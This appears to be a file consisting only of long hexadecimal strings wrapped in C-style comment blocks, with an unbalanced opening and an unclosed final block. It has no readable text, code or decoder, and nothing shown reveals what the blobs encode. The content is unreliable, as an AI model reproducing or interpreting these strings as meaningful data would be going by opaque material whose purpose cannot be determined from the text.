7f27d4121f13404ff9710bfe984d45c72918be7769196f16ac99b3d22760c49c559e60b4166ee94541dc4a8fba02bcf00cfd15e752d7496e68fd7e2c97324014cc87900d83b04111eacf023d90d4817c3861d55a1d1936cc98a03c1d045a716d75c6223fa8953872342c95b420dd68f7d041a5e2499ee7c0763f81e288ce4391db960fd2e0fefadcea3b595ba20438cceaf810c6247c1f0485721628a91ca801c15fa9683d02bd37a4795e3bf4a3d951ddaaa996adb2b75da9113dc73136a6acf070e9c41d069da05193a03fb66090301fdf9923329acc8fa1c3da599d39489d6f5ef4880a69e7479066968cafe11c4681993dad8222f479d1183b4479ad4902239844811fb6fd57a4438c5f6a716bf535afe0419e8a14a77e2c02e5996142de806a7638d06529a83d41a933f03e16205a2d05307ab41a1edd61c29401e482a05c49bd7c2f466bd222f79a1b58c7f95f579c3ed742e47cf1bbea2f3834de884051d8b08c2b8c1cdc25f10f21c38c3c2743394ccf66b83acfabd35163067e63187ebf3a8de558cfbd683fd4df981fc5f83412015d8120a4ffd6c862ee260f3e947664798b5ab7d9e0ba3954cb69d339816979a49540009a48136cc0d23be3cab05b7a5c0ed3666b12b50a806aa0d9dd992ac9f41ee4f213022c63e464bf02c9544b045f5df4324d9a889df9ae5d026298f36ba1761f50d0ddd14646f9be7393255227af5cc74c9e66e091c1430ace3b955f2c49283155a44c97dfd9f72ac01780d32dafbbab9a0d630a43f852017824632aab5911fedbe73cc11161ef005d4fa4d376234af579a1e9b6ea964c4d89b37cc0feb612b7c3734b6c1eb8d7561608f7c59472f53e5a44ab459f48db6982f714e8b8f4ca445207b685546c47012e2378fa817d12756d89887668a7749f7ce82dd3ddd78f6e6df67e5c45eb09aca924bba6a64abe7014beaec4d8da787ca64a1a45ea51f4900d28980e10645001983f3d8fa24996da51601fdf069b9578f75aedafe432c458bb5accb1feecb77ec29c618a936d191779385c3b0d342e9d6417f5a58a7fb42d99b0df8ed68681e7397a687d0ee45887c13cd16ffedfe09d8ce13e6db7bca36ee43b807d591decd6512828724147acb6ceb76f8c857acdd1f09626cbbd5ac0a8553d188ee27235ba384f238d6cfef4afc2ff87e52a94b0c6ef161623c6c7c816750ff26dd0f3d8597ad6bc4e18bd8181ee96d05ccf456a2afb6185d69a43098c9831359937b596e5677dd1f01242042906b1065d539d731458ad93e075134a63e8d7e333401e338d9f4d0ccb620e388abf45892789caaa6bb38881d8cdeead00566c0cbfd8dfc1c02941a2c3c9799a8893a80493ec6a3fd2b6b7ea1024bef9bd496315f32893630bd241cb1e7252055a569f8a1bb27711466cc6f1f63e15363dd0ea6a878953232903764cf019e3f30815094dd582e18cea33cda282a5ce8d43c6ee4d5e892*/
/*327d833be09fbcabbaa8cad40f94a89888c4ceba774f59412ead5a0a40515ab30315a64e78f3e5670a55eef823ac535f592d1e7903233b2d180e1e2485564636e178656d4ecadc5032cc42c5b3ad7e38fa9337f57458867ffe1d0916c45021577ef42f7d9fe314bfc69b5c3f20612acd6f79156c64c08c677251ecfe3368a517e5b3ca30e39dacc6ad972ba1bc0473b57bdb6fc84406b5171454ca8961da3533e9c4e21f5c17d32d6e813b5051b47d0965aabd7a5ee1047967546dfa14bf47d847c7eaea261235ad0f70c83aabfacf35da0db6184c48bce9ffd762a9ecb85ef916d909b34122c7b43c54f23c50757e5b0bff2f6cbb980060950031300a0f3446e54ecd22c261b6c7d3f0eeb2c9df302da0e5a3a8937f31e1777d9552c7404379d066ebe0066c570d0187a76794d6349d3ce70006f71c02348318c1b5405299605b83a1c6d588bf6d4575fda270ef7c821642cdb3abd4cebce77aa104a4f6d555c07d524d7a6c1fb270537ff726470d8aae2ee0d3449a4cbae920cbf393aef23750791692d2933bfac930d3ed8eb87a92f5297a69f1181c7211e5634a13911c42d5610ade46834e89838a04ebce97819c9c27046fa6b88c86bb144cb9608c33a80b33af9f9dc16b4450b7a09916b45d86609a77c4acfb4efa1711be7997268c21117ce0c7f453aa897aca755a200e89965d2a8c7313a741c112aea47617c7b5988f9729895bb1d9ed8ebd5fa7d1c304aea99a90f1196299a08f9aec4afe8176fa379eaf1d93cade901bd5464bea3771822057ce045dd1f0f07a5cb4555c546c52475e418d649c2df5d47b3f959e25b21828d9be034edcc3c68cee72d34bfda650eb5d91eade7bd4742efa4a7a34d01ef2b7e99908a35b071c372807039ed4b6b08854402c893720bddad7ca98ee029229021eebaccbb6a7c97e122041210e56ed29a926f8c1285e2d1db3f3ef42246f29037f510b3d8d8364baf566afb513ea003bf0b449cdb6920c99aca32e7614d1aeefe42c7e5cb1534d5603e42d38de09fcbfd6e374d081cce7a5cef9218a7921bcb815423ab377435eca3f5d732ccbdd4bfade34590279c59f677b5e188b9dff242d12578728ee5aa66746693fd0c3ea9be30084bf8bc4a121c231dd582835141e57013964042f21a528883cca270b59334ef7593066c317ea410c06feec4211aa7af9aafe07a6d0c9bdbb4e1e4acb0ae98f71f0348ed12060d6c08982aa257343cfe4c4b5b30d48ca2e49bf71d40fa1ec05f82aab9aacae118ac57521190acd0adae3415f1a4ac4f1f1fa2c2b5cc1f50b30760854c58c5ba78e92695ce57a5f174f30b1a30564007d0607d66381bb5718745e71281d154a9b37cfb1e2f3832178a2b002f3d09ee89b5cfec1ceb5f7327984f4565461c2c004fb46a64ddb6b85c200899f0e24c60a31b5c2bbead84f9d48b2a4f7fe3da67f14261c68919a68d3576516b2c1b394266325a55e3177ef03fc733248be99c05234e35b756df1f7139f8e9030cd89c6cd8499edc11e6dcf8ebb2a8abb0bf67b88e87aa71e6264a211a3d4da456011c70a6888ce86a209fec8cd0d1e96e086e9aa1618c7532f9070162353f750957e50648f376170d8cf7a294f65db950e14e784e3bca0119769f4d129c8928d3bc3c574ddc9da470c3efcf1d2677fe32e14ec50e818f228e19892c578f9219b9aded1a77cf6fd10a2a2ebb58c7bd1f6c3ae82ab719ce4088443df52d725e1f3575d5e5e6534516f32d8da2939f854bda25d559674ffc035faf39d635e6ef039149ab94be0857fa194f8bc85b088e2e3f5f1fe1ef84de186c562e777b1d22f085acfc9c4243d522f0883aa25e624cd79c389a4766b9e265edbc7cdb64d1c85b3410f9bf73dd95f97e618bf99007d19eeedf87c894d4e9fcdb257528fc62d4a9f2acd27e3e5846f4851cfe0ee2d7bacdfd0ee37bb44035ca858fdc911e91035db8c5e1e8c2d90048846835db0941353db592200af60093aead288a9d27b4a9d1ac1d248931d1350e1eb100a969057510de1fa77831b68d3c948419d8cae76f9efe7a71addc425a7f43dc78b9ff1ca1c5424952aa2f46da2da058a27340f245e6f73419f8f4b9e05b22b38307de518a33095d09738ab6ec8dfbb0138886d480a2692bf730f7e726ef4a5aadd552835fc9f7b045cc6808d4cca42d8bbd8b2a514ae571a360e127f3d99d8c8bef5c8de3c96da1b6f5d12716f5a1fc05c2a40b72b2a5fa227f45586a4dc11535f8757ba99300845ef3e2bcea3e99ef32a901303a9624c6dc1a274e200bedbd5150266e6dc2db5c7c4fad6dfaac52430b7bd26e918c60ea4f73a9b6fb2f679c8758f0c36db514052eff2fdec7204d101ea12b8346213b380b013438ccad343f8fa33c9fadfef47844f47d77be31b5e005fb8c4d93bdb9f48bc2d57b537b86f50e927ee44a4936e57db726bf065d2758c8be1803a42557579eb3be1c5e99c46920f13d0fad6d1b1c352a8bd271b5dc9ba3b6ca17d32445050b3a1ad062f46b19f4af6e9f6ded541211aed5e8d6c0e8820086501f6029e7b079b8a487e61ca1240a3b956bc66d2529b0bc39dbd617d5d7e2102f5d7c550c6871b64eec185d43f5d6695e34637e4444238cfae5aca330da336805ac24447e5a09d333bde1520a3a32373f25f9b01efdc1a9322b94c20348687a176cca4eec74e081b553b4b44e2af96ba2c4cacb32dda0afa6adc37c5b2ef7139c08985627d947eb0bdb7bb1009b00825324770ceb46687f2f5a60c7a883d8608b2cce37ea90b676013f9590a00f46f74fb6b4851db3d9bb3fd8e19560aa8f04ea3*/
/*66e3ef203d039f1ec65b60d41c0287d823665c317cdb508a88a45dfc53b8ee32b8b0d9c6a14b36b1ad804a7bfffbd5b912278fb9817855022cf798520ecdd2d2dc9b58a2998495bdac844cbd307f8c732f0638dac854a210394f3c6124e28a24ef6c720e66a3821fe67dcbaf7bd96c41f0dcc4b8fac92f41cbc50e207a66dfa49b41c5a8ff8b03244a0e00b9c2fbb8c5dada97fe25e318c330ad6a8728b9ccffc09000ae3bc9964c0d2d520ffa61f9e59c419bd2af4755f92bd73ca5e03e9a14954db800d3d0c0d405bb3c29977c4d653021e9f061d141d60f384e755745234c24f2fd066a6d0b56f47de617e5eb98b73b0a7bdfbd7e7ce3932f04fed8ffa38828f1c4f9dfa40d0f401f499f8d1cbccf720aa4c55c16f341b6733d50c052180a38fc79da52abc9b27d43e90564e5563b76ca516a5032b63462ed134764f7e2194686f8414476d270eeac492f7a60b37aa7081c98fb2827c824c5ab239af8babc9c5bf84d6612df1fe13184ebb8b8c2e89f97679efaa9d49fe086b8d0a56c15da48b558eedd443ac293f9278cfcc44af64cbbef03ee399298a596c836896545087d1c58ab4fb25fdbbcfe0a769a9da92c6b07aeb31e8db39d9c1670fe44ea27141ba7d46885eda694e0fcc18de1dbc3591674bc3a821095b23cc118d0d0decaf27b357ce4d5ba7b1b7b0fc9baeed68ec039fae5baf7de2c6921920bce5870b1b25e36722ae77e282014f641b634fb93b6a003b48e427c4e8c31d87f2c3462d2eabc7218a070c3cdf2c4ea3e7e5a82068f805fe9b478158a7c384ddecda9c3d5f13c431e938fc031d833678b6a25d78160387082d1eaec855fdb3fee33c856e76b83a53566e5ee4f616093b2e7cf62de1e182a4d4ed951e0c051a20eb3107a3f66a6c0fae202e48d7fcc155697a504b83f376d779ec2c48cc189cc24243ae07160b0d12f24ee3f5336df2b5ae2c889311f3e58905f2f4ca1cc628489ecdb2a8cc80588ba7dabb20046dbfc4cb6d4882a0d6d33c07958dd995ea48483df73e33ffe73fc6747f5a68a852d3224841a27f707c8a3ae2ceb0a80023bd05949a054307697293a3f2bd5cda63a33ddf9b9fd16a0cb556a52f6c5bd8acacd77002cbd127089853affe08431bef854d24ed05c1bcd6a4bcf58dbe862345168a6160b7f09f849c81c9e4ae418a38c01130d9df0c663ef1131bf2555967c1511b568f421f62e096cf70bb37ea963b404b9dfdd69307a3912055cb500dd0b656e8c19a4215b4d446c1e70ac2475b2dec77e8be55a74a038aba269fccd9479e953093429955ee297f20628636f11bbd0f45c91637ac3cdd3d70cc8e7661ef7afd94cc8cc4a076414c22296f691b9dffed51d4d6deb02102f794bebad783a4f9eb95dd4e5d52126a512db33e4a7abc2c76c163ef2f50298f8d4c089f5a851fe49cb88127820563a50f9a3e8fa523ebba90af32618d5d9410fe22b22b4d8155260bd50c5cc8ab5b9e6f793574b971b03f252db105dcc22fbe5c8147ba46c58f8cc3c06fa3cc9eb1aad6daf8383d7adabbc6e8c2242b3456eb5d506fd237879d82a7243d58fe57f52ff1ae28b7b3f638e43cf1a9112f88b0dee8dc6f1f983df0c283b699d3078ef1163a89fa7216f616f092f0c78fd6ade812b33f3dbcbe883c6122678e7c0c8fc31680052e5025b0daf087926ff0727b15965db9e707eafa1607776fe6caffe887192e3d568f450e6b59c882d3522324007700cf90ace37a5f6a52afe525b03ed27678dbbb7cf86af0721cafd07443bc0c139ac405f990b539d6cd1d04957e29bf02326b37c1cf5a69ebe4a2f07aeb98b887a0d58b80f52a7e0031b07e4e3d1d35641d766a0ebeaf2d7611cbabc055d2428c2007292bcf379bd9cca2f3bf7a08128d82b61719dd2efd651d373ccc669e911775ba2eddcf9baacce21192e9ac64fe7cb3c825139dc56e21b9365a2e55586a8c4ac28dc3d937a7771d27b5dbcf051ffa5fc3fdd71cde508c53ed488e63d2bc18ca988048d3ae77a414f95aa8153da31c9f12c1774e00bd87d6690974f594b8f7fa3624d43f86afcff49f37c9045fbaca30882d4a83da853b5f68c0bbeef3de2f3ab2501efa38d68aeca5b74649dd52e04cd2fe231f0537f84563d18e5a1c67964a6cca867682f8be4d0281ef484e6ca78969c84197ea24e3abc63c9c6ac196c880b8df8d1cd584e97d49250716cc8531c0ecaf6cb771431fb13b9ab5b1e731915aa5d1f79d9443e77ab320432f0f66d2781a3af7f972e811cbcfec6f09242b68ffde35e1f5aed717409aedf3e0464a3ef807bfe8f18df10be45837f835164c9ca829ade6205c4e47e005ba5dcb3c1599a9f7d8525870aa1a230c868d9a4f05c30b226ecb7558ec8ffa89ee8653f3d144466d60554a7bc9387f8927fc31d95b4e2060c67277a9a3e315c426ff985e55f3487fe9e2ae70f9b6cbeccc2f1669ce28820f9167303106de9d37dcf833646256afe8a8e55dde9b5a27b384150c39db35cfe79ae9dcecc7fd6d1269ebe414607efaa541c46c351e9ec123f8f9bc1df156324198d9f80aac70916cb12114c41bfa416c9108961dbcdc77cc3c6636abdc1a0f0f60e3e8c75e9d9ddf8aaf0bcb46fb5c46ace8db3a4cd1a33f957e44248a4aed2db3c85764631b5d4e3394065bcb9f025aab72667b277f005a6ac8d63e4b5217297278d9c547822df2ce4dd6d955fe952664306c033ba8b90c6c94979bb43a832e6f82adb72d2b1012cf5da7c0a1919d8b2d5e6af3bf286fa98b5b0e1faef8f20cf95c8a1f33020fdc7c4c2f4dd885ab4ede852f5fc58ea3789d9e4613890*/
/*549c675c29c2bcbdcb8208e0de7a50ef0ca1805bf19edbeb2cc1c8f2071ddf6cf21e66d1d88076c692cfc2f8c2f970ec2b5516e38ca752ed5f9f41191a6162227149646131eb2c1af1f3b2b65897c558162cad52202925d11521a0fbd5d69515298b6b4b1ee6cd33ca7ee1910b51e733ab8e849ffcd7454302de9f81f9e8b60b2f89236d3a8ecc80a6008c344eb520a9662064cd96e3756218159561d26a1f91496ddddb3e3010d0b9786d123c43bef620a439ef76b40ec873726314c331c3d85fd679fbea15debcbdf8b3145f466d3f1ba6f9930f1d8e827dc22cbd44200b654d8e7fad9e9292ae2a13fbaee33f1bfc0229d5f25752bf80c84b61dcb6f444897a81577772a0334c305a66e6db2f3ef8325bbdb58c047b0826408f2b8e8aa3fa8b59cc4ec147d71e195966afd781324b874c953930476f0e9ab1ef5fc253a7d9a1639c71a49c38ba5eacb77ebf06834ef38109c7ee3846541bece06c47e4e1577816f25969b53676a123fcae72b98d79f5ee764b05cc2b8853fc1ac5a00a831bccc0b0bdc5757d05a485e5bd09e09e7cd3a7955ee087828eed7601bf9728123f68d512f2c631abce8ef7340f0885e18bd419fdd9eec487110e499b7682f1d6a2adf486f4515b6ffddeaf4097ad921f32851b485a18aba228bee016c73fe1251bb13d8c0ecebb90fc79f0a0f7c3ff89945d3a9671fdb769f26e8fc407daaa044a8959e336d560c75951d222942534769a2787f5b34f7e61c71ae2298b6be3c834def8d0dbaf763362f3c149672de22b764d5a426cf065043c6fd72e455944bd3d13b11749eb5e6e4238cfef0fea5757a8134f34bead3128461a629b76e310cb45703a75565721f1a283ab0ef39a1f27aa31a1eb734fc1b09fff3377583f2c67fd8a96c5ea361381e7b30eba297e24a39073a57d106f6cbb638db39b75f748e6eb315ae2dd86198bb0d29db848203d63e6a480b3876bc897488ebe43430cfee457b05a403f307733b150289b97f8ed6a65a8aacd7bc286a742ff62d14ca15c23567821c8766f4a531d3402b4715e171486d8e1b89f56dc8a6ae958a1e712c0ec3bd674eebb78a90ec6262841dda7bdb422f9cd3c364a8d59a5bd6abeacf7026cdd0db805d44f573953b61a6bea9eec92f111d51dae4b035563828602db42e617059f3c75d43f25a249e521f7e2fd4189622f41e827de826475f5af8a4ff2ecff43e2cb3c8e78de07d497aa35d4b093c2f4501cfadca4a0c6f3c5eb1af138e349a0c699201b16869716f5b75f29afefc568c5c6815fb1f647e0b6ad7655009fcbf147a0acd66701692bd57fe6adcbfddfaa99c40e20215ca1385065c0fb102fe5677f2632621c4c9d3b5fee7e1ab8e602cf835d00769ab5c7ca0a66b65259fc933097ac880e7fa40d2a19ef3b9dc35f2ee1f03b0eac242c799e7aaab7b0fe1348e9fc996d9624e11b40e45c287043c5b57ba1c9510e5c17cff454a949d56ba0f80c5ec90df114fbd60867645a8ea0e51b010bd5a4cbcb94b3eae0c1a59a3edfb8884f9870794a40efac5c3f94d69d68c3045db7ac084b1c106299864718d4c385ede30225f75f8742a61a2d66060f4cece81e9dcc7da49b262f298975ff937369e85e4869dcdf01e16aa543719c3c46d1af2c5642a9266cfaa8da236195d92a879cd359bb86d06f12a92f2f414c563aec3b77cbc37b04626130f1b2f27c91f80c508df6e83b95e8ed5afaf2669b47a7c2a0ed124a16752fa8280db804edffa6170850ce7bf3d8ab866b7d95477599b3e3224e25ac7dcacb19ab3fa647ce76206ccea8cdbd5b747c99e55341a82b887ff5138bc922231a55a01dc4805be1b1d3a7c0e8ad9b8b883b09a9043065b2e81ff55a893735268e145dc663464551221a367ee95b372555a82db4dd9911a02b95712db67c4a7f60163ec898194f7250874014164e8d51d29509831ee5d0f70163a36c553714d51bd26437794440a2296315e63e2205b172774806ce05554f79a06fa87e2d2ecdd9fce52b12cd329a627f6d7e12023beec8c91240dbc84b3d1d1678037e090bc4223b840afa60cad5ac537bd353e127a533c2ac6817e99e42ff594d5569b1ea77461f93cfdef24586ddd55f51ce51c3f9c6a6b9d6ed6e23827cbb179650b4512c87d331f24f88eab63156ba9ec0f145849fe2d95cb6cb4c84e6b83955b84161e6cd6ff186e93feec4c960b552f32f2aa22ff2fbd4f94bf4bcb711d72cfe7f8d4640a28b3b39ed36af515b0a2a6bd668d94ee2edbf975a66480d5446b9a3e43388df547f6efd6f1d98f701c8b7440c84bde3f2e35539a7bc5e4da62e89be2dd883c6c74fe35b585eea8ac6731f2499168bdd3be56e5915dd3d187195fdedab4c77fcbb4da7b481d6244dafdd8bc19695c4fc1bbb32db503314f418ddab66b41042074261eb01727418a3a65a059c6b279531c224339a95006170c07f932b4669080d9d80e1b6ee5903922757ea13bb9e40b7696845ab6a9f25d0b180201b957e32439ff3979e6bbaf2014e20c68f1a19a05c22581b3fb109b855bc6f7da4abdffd7cf42f9975d63b5ef453208dfe234a56551ba15e200503c0785db82774615583eee8ba54fc1d9456df59e095ee0c8bc6222a39130c0776d64129a2a4c33bd9d4d0aa60a149be8dba0d190a12d959e7c02c0eb46a40112dec87718b3479f041952bde28dfa99a8bed65566b6abcd912bb07bfe90169bd97bbe0919efb43e0340bc4f0917e9f7714dd6c9701a6c80adc671f9edbc9d6b98795cec3c9fe3735b5f06d6554cda8ae4da59033fa56d0c3497bafeff2a5c791f932b2ded273*/
/*6664f7971e661b54dc9dfcb415e9549c36cc69f4dece250d34ba0a75304b48e38a7c01c7fcb137045f9780b63b95b53bde2743da1d57cb29af6585eac2fc62ec72ee6d052c96863a52656397bc24662601f265743000e8a486bdd054736f897da285f8eea97601b2372ef434d01fb2a212b07c00849a91587a3f298955792859b6b5cae24ffd15cef742a0d33b6672fc32a3b308b342e4d112f8bc2a9e21983229a24163fb8af45301de7ccffcbdc27275de73a8f6cca79c5416c9812208dcf719955a48cd1e887d0ffa95bb74fff853e44109787fbb79e30003ff9bdc0f621fff8286d86839bc06f6212a2650e31b4a402db505bf524e6c4feaf89ceb6bdbfd7d7a4e143dcf3dfcf3b8383b53e509f759fee15289192af98410a7f4d4570aeab0b5046e63cb72c6ff02cb6c13ca2e1021ddd675d4d8fb3fc8354bf9fa3552c5fc80204bb68acd3450fe97d95889bad7f962707c2b533e3d1a46393f2fac4fa49f0f849c35e9dde1d31795a5e53f99397e213dec33b5de56c6b15bfc799d1f5dd10417014a737161d0531ee6eaaf3675b44743ee4a5470adc14910770a03e25b91df19eea8b420aaa99e4fd9f64e1629cc755d7c59d832416da6794271b1bd24b95d398cfee4ed247fe73b037977329d5199069072897985bb9f31a08c703b43a555db14cad950bc4073dc56e818b5f3ebf0e86846f61e1f3ad277e128acf125bf01fa685a7b33c3ead4c92d5f9a94d4748f21d334df19a23a7a5bb3bec0e93e9ecd1d422afcd44f18714764778f75150e786e36ab0e535f196a91267dcb195c055ba166d7d2ad240c564835ff901feb86bcb378bed69aa372c2439a38c1497d98bc685c272b6fa8955c9f98807625d8c30fe96ad1bec5a731e8c6125c2f038fda1383a22725d4c7b56a1bc7e8f97b4a923dcd3ccda6a35e5a9cab6f2ac2d2020483a4412e473ca734e299f5ee4ad18ed44a907f48a90dfcfc6fbce2933eb4b14597dcad3c3255b2c60b07a9faa422adc62b74de0ffcf28bac7daada1f99b9e00c24d58bd0358bffa4f799be1d77335405a3265d546eb32250ab09f452e478a5179ea085d56c1c8564e42a1aa7b7ba6eec4cfa48994b522051a56d2bb64b27b2d0112a44916f2b74d00c97186d0c8675b9b3b2fa05937af051b17000f0285562ea1b91b99d4d066db51cd4c754ee7abf5dd473df3408c1f5ff379f63b645983ea656362cdadc1476c240a930d5949d6796234302fa23004eb2bedafd3d5a17586405110371d6342ed7bfb4601254f76d244ba28d5a735eae3ab56be24a40c0739afdaefa3fde9f20c754b0df294d376d2e231f3e82815bb14d383cfd840c6864cffe2964e3944104ee53673cea87c43319c50a90ef36549ad779b709ee51b2683e874487127f110fb89f24646913028620313e82065fd73bd2062cf0d9f7099b98cf585650ef1c524627f2016788bc8c123df2cd8c91d076937f4dc751c51ab507b1cbf9f1bafd9657bb7df05aa677dd9f9a140f30cee1d0cff7913c631fe82565a8cb9530d3fce3c449510e40121bd8fc4ac8217d03a1da2dd56b19a3b53a08fa29d193d6dcc6fef92e33ee5f27c239b7409ff800097cb6fd84e56129d3e8583c6bdce62ec6fa2f8f59b42103fa93226ac2f5c6a83fc37cd57370f646273a343545085336dc44cf006f5f2cf3bad700df9f300e27e624f9823e93837790480b625e4955f8f788cf288865d5fc3838859c8e2e223662aa85f9ccc2c3c317e3817d2fb3cd8ff1c4758bc173416c6f06181d87ebe358d78045fbd235e5fb3b18312816f36dc720d482e45f8763fd9f04c7c83c680ff10e4ea9d3a6f0de0bf4db225344bb2993199d41b35fdd805217efbb317efa15a9d5f3aea28ef749eee84dda5d0b98c2cbc0a72cac1b2a000361aa04bc9675a360e3b443d6185facdbc9e36a4212acff80f9fc78cedd58abab38e41be916ae2318dc29362142cdb6c10f4905d80ef6be7939b8b64b9215c9f20454e055b13d9e32d792101319c1bd0cbb32a3f3ca1aba6a9418cb0327a86c5b25070b2358127048334f97d95a10a805f2b9d52f94a06ba16f13f4a3ae92a10226f81c316dd3affd307a9e63552234ce32c97c78fb3deffefeae9ed5141f362a66c2873b22a0354f5023eae99e70050ce006f9da240235ce654766ab4a793c1b8cd2a34849e7883790eeaeae3c8c1f5fa22ad518027c0c79c67d18592c288f306f94ec1a9e4e7b2a3a2d4519c156f2a85eb2f46fae3a92c72cabcdd982a7c530d5bf8cd69a074c26cb1a0dadc2faf996681a648d4162c0f4d921430c839d7cc3af1d83ece93f141a40edf8422526d6dcb27f58eaf7a75135d645e7d419f36277b91817e74826d93239785520e3353f294077394a589c1821286a1ba54880b6d328447788e59f223b8c009e9035e497f4ca817367de330cadbebbd207d482d2e1c8511ae530e9056f3ca3866bd6c9fb8e47163ca06e55d2a5cd153154fb4f58b190da77799b5dd5addedf83ae50336152a3331272e0746ba20bca679d16563524d8ba2fb2f64f290786fdab2e7cc401ed83c61564f9bd96a1f00b65a2eb436c9fc6bf25f59cf00f81b1de7050842c4e3aa6fb129664ef845a6402fed4aa28e5fb7eee8e05df841d2641ebead570c3662fb647e40484e029ad234806920f5e0c8196c68024379b7a454edf2ef18f2641c2d89cde29c21df4bff510244d33b1fcd371680c7fb54447d30c406c97edf5e9e155545b2d6da976075c7f2ba4aa7c2674207da740c0f512df0c63bee46ce6298b731ea254696a9ebdff8e0172fff00419382971*/
/*9c8274b786129174af73571fa1d029a17495a4077fe8d10187c5e9e3a238ae75f9b1b55697d5af7fedca5437532e1b0d7c2f48eeebafedf108d96d091ea3d8f58c4bc7ae53268061ed22f2e8b5510c3339ffcfaf8df3d83ef846cf766f945f6607b72de7aa5c3c31c574bb6b8a533f03f9e0052991c1191d9ee75bb5ff7bcab2a40d46bfdb6c5bf96d5df72bb27fb22d669657d0bbe50df1e4b37b3c0a3174f70dff3fbfc87a6ba577f23e8b86026ab4ed46be74f602228a5b1ef54b21e6b3de9c3f5dc92789079ca91668ccd47a5ff4d674f4aa9af09b86b8de9e65cd17eda5cdbc7fe22738cf205ec0341d8ab0e94ea760e9653c15536851292a68f2fab819bee0a9124728a20b65926423d0f75c7a103893309b776450e6131f40f931762e01e2d765ffbde2feb90afdc1ca268a6807f2600610c3172a16ee980842b5967bf6ec435bc72bb282db3c6e8a38722aeaa32e24c7901f293aeaf48ce8023f631fa2289ce6c9836315cfcfc8ab434f155f709a136e1f1842632c7487c60149ab9c6deb6ee615dd0db8e1bd540f1e3516514d75d970ce64dddeaa796ae096718e18906ffabfee5ba57608a38eee4adbf5213415830e193893760598b54f202d4c21d219e607dbe63f45cd1996d7111f02f4e94b1c461fb42397bd149f0248413f4e93b1d51db622156c6dba39e92e8bbf74b9f53bf67c5bd9305bc70df02769a2957f20ce7a543ac398daca4df2dac6fce3dd87b2d0ec3c22f56fe106f46e078ca26d7fcc35e4f3b5d4645f9acea0e2c24f1562f5b1220f33b0c87783c5956b347c0bbcf312badb7ca20579d3d8a52cddc89fd29541633f295d8ba0eb3f5e3caee115dd09cf2fcafcd7ab7314401a7c7af5cb2fbf99ba7ba6fb55dc474edb29f6391759c8cde1849731213024eb02d431544f440f176469dfec816128b9c9120bce4b5d70079b896d37eeb88997c149e28a13bb98193d99c568078cc07500af60e408be90f91b0ce1dd160accde3d04997e99164933d3da0185440a5275647851b1f45ccd8de87dd96910c75cb27d74d8dfb7276cc076a04e34d8c0ff0dd31a050c06cd269f567826037a356148a0d5f70bd7f049555c159ef9314d7b55dfdb6e8184e6b6bb3241f761496be6fa78ceeae846ece9d36a3ec3bd877168f3e07977a4eb7e0722b0867be45fadade490303fa13138472236fed83ffee293c95601f5da87b4b8ab8840666263ea6a6c34c55b0cd7f292a1aa3426cf604dc5ffc61a5aef476e54275b6ddd4ae9d8b32f80302b88bd1a9345591a6bdc5b2607b311fd81535acfcbbee35c4c48cf3d9bbb97e9896cf963476d2d0a9876df87b200b71fa99787457f491c4d3970fba5d15a3fba78941b1d91295861afbecb1a735b91be1151211cfae6639092baadbf25004a38e593cb7fb154049a59f0c7d01db22958c22215749a8688a075b8fcbc6c76a35ed3b76e1a9b5e64c501b80491af21ed6cb462e9a8ea1a1d14299d41a5d4e6758065892a66569697c64742229dd7ff4bc4cc7f55a85bd938024054ea0736b46d7bb34d5b5fe980e0ab6952bc5c389d3e9737af69d37251e0b96fc521104958bb7d4300549445575b93d5a2ad5cbb8b633c9ae993cc34e7b524c46d0cbf060bc7c141769628c72ad4d367390f7a3e8f5eb6647990c90639f658200cce8e6abb0dec9446b77faec61b46ba86ea373092ef8721a598e60a26e6abe66874fd1ac66c5c808313f1b7617740fb7b90a9275b60334fe70f03c8b639113ec2887ab86a03a37753161c03e42d174beb792dfc7dfc5e78f267b16b40906e210eb4e0467250cddc5589becb77516d8bc85ffae15c4ed69504ae0fd7e62d73376698315870de5a0111943cfc41a114b9fb0ccdb4f78247c18422e2051cba7e37763a63c079047b6e1142b71a87c525bcf75757dbe8ecf17d95c0b527fc53387188d2fa791c64a7929c6363784b690074793ec452f6bc122c1c041ce3ec4b1326fc4dee27f7801291256f561a4de406ca958227a71f2f0273668e04f3d7c9b2a4f90b7102a3b997d15532dadc9bb338ab7ea3b52ed094ca44306a5d523c73dd8ab7d365ccdba5d74cbe570503250c2742e3aa03c7462b3454619dd6ccbd2aac24b6308f141c8827f7f54243f3c098217241d04887893c8b302601f9492909300bcfaf313031d236533ac863b612b0c3c9fe0702b4d7897a7545b96c6ae206239e1a93bd75066e29c8b1547155f928c7b1f299aaaafd3d6cb364f3f537b125d1c157f65f95dc3b17f63ca5997a094f14ccce9009dff213bdce8832b73d67d9726bbe90a229de1c238c044feae8fd93449193f42ada71baa24c08239fa98f16068f62b10cffffbadae39257cfbe0cc321d4024da6377f93fe21e4df84392f0d36f81251ad6b858fb5e809103497b957605e72e5879e0bd333d53099f8b4aef779429cd8e032ceeffa87f09fc3ba7f8df65c289cae12ce5f1971a5ba635f6a812442c898e836a18e9833aea6ce72f2d6a8517274ef7192001077328fc14e77ed552c24cf2d4042657b1d1903625ec15daa682637f1c34beba433c22838d1f4664bc0ac1912ae4ed7ffdc085a44cd0dc80a07fb0076e79e514a130252142b437f861ceb9246e6582da2e335eda5f5560d6afca20616999830edd10c38388a9b09b451228cd4d3016a05eed1c6f9199622d787131d9d88b6baeff908ac4dd41b27c1e459099370c80d104a17f9b690805164e9b7f52dde43dca7d60793cc7b5e59e7aa386ab71f02d489ab31c10dfce4a0e1cc75cc3bfceff9dfd0c7a2a20fa2a59055cb81434f199785512c*/
/*62510a4841c8658dc7608a2ca84e13b3f6e209c841e8d4309298d81eb8a256138c9464263bbc0c2dbae0547c39894461bab694bc49d98269a043875d5a89c7be7487acf87f660e433fe069ab95230cd459ae9087707aa5ec66b0fed84d41bdc89156279ece7bca47e2c0be8f2b0adcfacf4a87940dc2dca6c4ddb959a15020e2eaf2a81faae0c884d29d3b101afcd8d49fc7ab1924dbd992dafafa4d88a19e4cca0773572f87af8ad2fc1204a523fa7a76e1917d3acb400027f928812923e115a9164c8049600b4e01c86d90494488e5eff3edc80f946559cda3539d0081b2778c8705edf323d6dd7976e181aca7bb25a0360c1c0b6fb1e02f02d159a3597c93e9775f48bb2afcd90745f1f078281520f474e478713e31da052ddd9a12dd7c61936e0fa600145df561eced3e9e47f451cfdbf4498f22b9f8654ebca6506871faf9e34fa27b0d73e68c40d645df460f4c5bdebc4cac01b34b6adb206a544ee85ea8b9c5087a513b76ce83eaf5d44d27249fb4d8a44577722504f5f3ad641d6406694736e92a1cce7f3e53ec8d3dacb92ed742c2dde57e997db9e6d0ec7f12d726cc01a525acce4b2b008c53f78da2ce2057ee